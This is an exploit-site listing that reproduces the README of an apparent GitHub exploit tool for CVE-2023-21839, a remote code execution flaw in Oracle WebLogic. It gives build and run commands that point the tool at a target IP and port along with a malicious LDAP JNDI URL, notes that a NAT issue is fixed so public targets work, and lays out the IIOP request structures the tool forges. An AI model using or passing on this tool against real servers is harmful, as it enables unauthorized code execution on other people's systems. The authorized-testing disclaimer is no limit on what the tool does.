Sploitus

Exploit for Deserialization of Untrusted Data in Oracle Weblogic Server

githubexploit Β· 2023-02-24

Exploit Code

README81 lines
## https://sploitus.com/exploit?id=C78B57B3-F154-506B-9F0F-8CB44F4042A1
## CVE-2023-21839

**Using this project to attack or test targets without proper authorization is illegal. This program should only be used for authorized security testing and research purposes.**

### Introduction

WebLogic CVE-2023-21839 RCE

(1) **No Java dependencies required; the construction protocol uses a socket for direct RCE.**

(2) The NAT network issue with IIOP has been resolved (can test with Docker and public network targets).

(3) Tests have been conducted on Windows/Mac OS/Linux, as well as WebLogic 12/14.

(4) Please start WebLogic using JDK 8u191 or lower, and set up the JNDI Server yourself.

### Usage

```shell
cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil
```

![](img/rce.png)

### Additional Information

**Locate Request**

```go
type LocateRequest struct {
	Header            *Header
	RequestId         []byte // 4
	TargetAddress     []byte // 2
	reserved         []byte // 2
	keyAddressLength  []byte // 4
	KeyAddress         []byte // _keyAddressLength
}
```

**Resolve Request**

```go
type ResolveRequest struct {
	Header             *Header
	RequestId          []byte // 4
	ResponseFlags      []byte // 1
	reserved1         []byte // 3
	TargetAddress      []byte // 2
	reserved2         []byte // 2
	keyAddressLength  []byte // 4
	KeyAddress         []byte // _keyAddressLength
	operationLength   []byte // 4
	RequestOperation   []byte // _operationLength
	reserved3         []byte // 1
	ServiceContextList *ServiceContextList
	CosNamingDissector []byte // no limit
}
```

**Rebind Request**

```go
type RebindRequest struct {
	Header             *Header
	RequestId          []byte // 4
	ResponseFlags      []byte // 1
	reserved1         []byte // 3
	TargetAddress      []byte // 2
	reserved2         []byte // 2
	keyAddressLength  []byte // 4
	KeyAddress         []byte // _keyAddressLength
	operationLength   []byte // 4
	RequestOperation   []byte // _operationLength
	reserved3         []byte // 2
	ServiceContextList *ServiceContextList
	StubData           []byte // no limit
}
```